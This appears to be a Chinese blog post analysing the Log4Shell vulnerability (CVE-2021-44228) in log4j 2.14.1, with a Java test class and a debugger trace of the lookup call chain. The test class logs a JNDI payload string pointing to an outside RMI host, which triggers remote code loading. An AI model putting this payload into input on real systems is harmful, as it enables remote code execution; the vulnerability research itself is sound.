CVE-2021-44228
环境搭建
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.ocean;
import org.apache.logging.log4j.Level; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.core.LoggerContext; import org.apache.logging.log4j.core.config.Configuration; import org.apache.logging.log4j.core.config.LoggerConfig;
public class Log4j_vul { public static final Logger logger = LogManager.getLogger(Log4j_vul.class); public static void main(String[] args) { LoggerContext ctx = (LoggerContext) LogManager.getContext(false); Configuration config = ctx.getConfiguration(); LoggerConfig loggerConfig = config.getLoggerConfig(LogManager.ROOT_LOGGER_NAME); loggerConfig.setLevel(Level.ALL); ctx.updateLoggers(); String message = "${jndi:rmi://10.169.5.252:1099/mad9ab}"; logger.info(message); } }
|
这里说一嘴这里其实用info /error/ warn方法都是可以触发漏洞的只不过他们三个方法个字对应的日志级别不一样。
调用链
由于后半部分是由于jndi漏洞造成的,所以我们先将断点下在InitialContext类的lookup方法这里然后回看调用栈。

这里先给出调用栈,然后我们逐步分析一下

这里会跟进logIfEnabled方法里跟进去

这里会传入我们定义的日志信息还有日志等级等我们这里的等级是INFO,继续向下跟进去logMessage方法


可以看到使用messageFactory对象创建一个message对象这里面包含的其实还是我们传入的日志信息继续向下跟

没啥逻辑跟进去

这里也没什么东西也继续跟进

这里也是没啥说的后面会调用过个log方法我们直接略过跟到关键部分

跟到PatternLayout类的toSerialize方法里在这里有一个for循环,在循环到第8次的时候会得到MessagePatternConverter对象,调用其format方法跟到里面看看

这里的converter是MessagePatternConverter继续跟进
这里我就直接引用师哥的解释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| @Override public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage(); if (msg instanceof StringBuilderFormattable) { final boolean doRender = textRenderer != null; final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
final int offset = workingBuilder.length(); if (msg instanceof MultiFormatStringBuilderFormattable) { ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder); } else { ((StringBuilderFormattable) msg).formatTo(workingBuilder); }
if (config != null && !noLookups) { for (int i = offset; i < workingBuilder.length() - 1; i++) { if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { final String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value)); } } } if (doRender) { textRenderer.render(workingBuilder, toAppendTo); } return; } if (msg != null) { String result; if (msg instanceof MultiformatMessage) { result = ((MultiformatMessage) msg).getFormattedMessage(formats); } else { result = msg.getFormattedMessage(); } if (result != null) { toAppendTo.append(config != null && result.contains("${") ? config.getStrSubstitutor().replace(event, result) : result); } else { toAppendTo.append("null"); } } }
|

这里的关键点在于for循环里主要判断在workingBuilder中是否存在${}格式的占位符,如果存在,就调用config.getStrSubstitutor().replace(event, value)方法进行替换。


这里会先进入AbstractConfiguration类的getStrSubstitutor方法会直接返回StrSubstitutor对象